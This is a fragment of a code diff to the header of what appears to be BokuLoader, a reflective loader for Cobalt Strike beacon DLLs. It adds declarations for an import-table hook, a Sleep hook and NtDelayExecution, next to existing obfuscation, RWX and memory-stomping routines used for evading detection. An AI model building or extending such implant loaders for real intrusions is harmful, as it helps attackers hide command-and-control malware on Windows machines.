"dec cl \n"
"test cl,cl \n"
"jnz bcdLoop \n"
"pop rsi \n"
"pop rdi \n"
"ret \n"
);
+8 -3
View File
@@ -1,7 +1,6 @@
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define STATUS_SUCCESS 0x0
#define SECTION( x ) __attribute__(( section( ".text$" #x ) ))
typedef struct Export {
void * Directory;
@@ -276,7 +275,8 @@ typedef enum _MEMORY_INFORMATION_CLASS {
} MEMORY_INFORMATION_CLASS;
void * BokuLoader();
void* Setup();
void* BokuLoader();
void checkObfuscate(Dll * raw_beacon_dll_struct);
void checkUseRWX(Dll * raw_beacon_dll_struct);
void * returnRDI();
@@ -337,6 +337,7 @@ typedef VOID (NTAPI * t_RtlInitAnsiString)(PANSI_STRING DestinationString, PCSZ
typedef NTSTATUS (NTAPI * t_LdrLoadDll)(OPTIONAL PWSTR DllPath, OPTIONAL PULONG DllCharacteristics, PUNICODE_STRING DllName, PVOID *DllHandle);
typedef long(NTAPI* tNtQueryVirtualMemory)( HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength);
typedef NTSTATUS (NTAPI * t_NtUnmapViewOfSection)( IN HANDLE ProcessHandle, IN PVOID BaseAddress);
typedef void* (NTAPI * tNtDelayExecution)( BOOLEAN Alertable, PLARGE_INTEGER DelayInterval);
typedef void* (WINAPI * tGetProcessHeap)();
typedef void* (WINAPI * tHeapAlloc)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
@@ -367,7 +368,11 @@ void doSections(Dll * virtual_beacon_dll, Dll * raw_beacon_dll);
void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll);
void doRelocations(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll);
void stomp(unsigned __int64 length, unsigned char * buff);
typedef void* (WINAPI * DLLMAIN) (HINSTANCE, unsigned int, void *);
void* get_virtual_Hook_address(Dll * raw_beacon_dll, Dll * virtual_beacon_dll, void* raw_hook_address);
void* check_and_write_IAT_Hook(char* EntryName, Dll * virtual_beacon_dll, Dll * raw_beacon_dll);
void Sleep_Hook(DWORD dwMilliseconds);
typedef void* (WINAPI * DLLMAIN)(HINSTANCE, unsigned int, void *);
BOOL StringCompareA( LPCSTR String1, LPCSTR String2 );
#define NtCurrentProcess() ( (void *)(LONG_PTR) -1 )